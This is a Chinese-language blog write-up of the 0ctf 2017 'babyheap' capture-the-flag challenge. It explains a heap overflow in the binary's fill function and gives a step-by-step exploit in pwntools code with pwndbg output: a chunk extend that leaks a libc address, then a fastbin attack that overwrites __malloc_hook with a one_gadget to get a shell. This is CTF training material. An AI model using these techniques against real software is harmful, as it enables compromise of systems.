0ctf 2017 babyheap
题目
- libc version: 2.23
➜ work ./libc.so.6 |
checksec babyheap_0ctf_2017
➜ work checksec babyheap_0ctf_2017 |
保护全开
分析
主要结构体如下:
00000000 node struc ; (sizeof=0x18, mappedto_6) |
题目主要有四个功能
- allocate: 新建一个node, 只建不写
- fill: 往 node 中写入数据
- free: 释放 node
- Dump: 输出 node 内容
其漏洞点在于调用fill
函数时是重新输入 size, 使得存在堆溢出
__int64 __fastcall Fill(node *a1) |
利用思路
创建四个堆块(0, 1, 2, 3), chunk3 防止释放 chunk2 后 chunk2 被 Top chunk 合并
allocate(0x10) # 0
allocate(0x10) # 1
allocate(0x80) # 2
allocate(0x10) # 3此时堆布局
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555758000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x555555758020
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x555555758040
Size: 0x91
Allocated chunk | PREV_INUSE
Addr: 0x5555557580d0
Size: 0x21
Top chunk | PREV_INUSE
Addr: 0x5555557580f0
Size: 0x20f11通过 fill chunk0 进行堆溢出, 修改 chunk1 的 size 域进行 chunk extend, 使得释放 chunk1 后重新 malloc 回来后, chunk1 包含 chunk2 的头部
payload = p64(0x0) * 3 + p64(0x41)
fill(0, len(payload), payload)
payload = p64(0) * 3 + p64(0x71)
fill(2, len(payload), payload)0x71 用于补全结构, 此时堆布局
此时堆布局:
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555758000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x555555758020
Size: 0x41
Allocated chunk | PREV_INUSE
Addr: 0x555555758060
Size: 0x71
Allocated chunk | PREV_INUSE
Addr: 0x5555557580d0
Size: 0x21
Top chunk | PREV_INUSE
Addr: 0x5555557580f0
Size: 0x20f11可以看到 chunk1 的 size 域被修改为 0x41, 但是在 node_list 中的 size 并非 0x41, 因此要 free 后重新 malloc 回来
free(1)
allocate(0x30) # 1
payload = p64(0) * 3 + p64(0x91)此时 chunk1 内容:
pwndbg> x/8gx 0x555555758020
0x555555758020: 0x0000000000000000 0x0000000000000041
0x555555758030: 0x0000000000000000 0x0000000000000000
0x555555758040: 0x0000000000000000 0x0000000000000000
0x555555758050: 0x0000000000000000 0x0000000000000000此时 chunk2 的头部被清空了, 因此需要填充回来
fill(1, len(payload), payload)
这时释放 chunk2, 被 unsorted bin 回收. 这时输出 chunk1 内容就可以知道 main_arena+0x58 的地址, 根据 main_arena address 和 libc base address的偏移固定,因此可以计算出 libc base address
free(2)
free 后 chunk1 内容
pwndbg> x/8gx 0x555555758020
0x555555758020: 0x0000000000000000 0x0000000000000041
0x555555758030: 0x0000000000000000 0x0000000000000000
0x555555758040: 0x0000000000000000 0x0000000000000091
0x555555758050: 0x00007ffff7dd4b78 0x00007ffff7dd4b78p.recvuntil("\x91" + '\x00' * 7)
leak_addr = u64(p.recv(6).ljust(8, b"\x00"))
log.success("leak_addr: %s" % hex(leak_addr))
libc.address = leak_addr - 0x39bb78
malloc_hook = libc.symbols['__malloc_hook']
log.success("libc address: %s" % hex(libc.address))
log.success("__malloc_hook address: %s" % hex(malloc_hook))
one_gadget = libc.address + one[1]这时就可以用 fastbin attack, 往 fastbin 链表中填入 __malloc_hook 的地址, 再 malloc 出来修改为 one_gadget 的地址从而 getshell, 但需要注意的是, 要绕过 malloc 的安全防护机制 (size 位的校验), 这里只需要稍微偏移一下即可
其中 0x7ffff7dd4b10 是上面计算出来的 __malloc_hook 的地址
pwndbg> x/16gx 0x7ffff7dd4b10 - 0x23
0x7ffff7dd4aed <_IO_wide_data_0+301>: 0xfff7dd3260000000 0x000000000000007f
0x7ffff7dd4afd: 0xfff7ab2b00000000 0xfff7ab2aa000007f
0x7ffff7dd4b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7ffff7dd4b1d: 0x0000000000000000 0x0000000000000000fakefd = malloc_hook - 0x23
allocate(0x60) # 2
free(2)
payload = p64(0) * 3 + p64(0x71) + p64(fakefd)
fill(1, 0x28, p64(0) * 3 + p64(0x71) + p64(fakefd))
allocate(0x60) # 2
allocate(0x60) # 4
payload = b'a' * 0x13 + p64(one_gadget)
fill(4, len(payload), payload)
allocate(0xff)
EXP
from pwn import * |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Lantern's 小站!
评论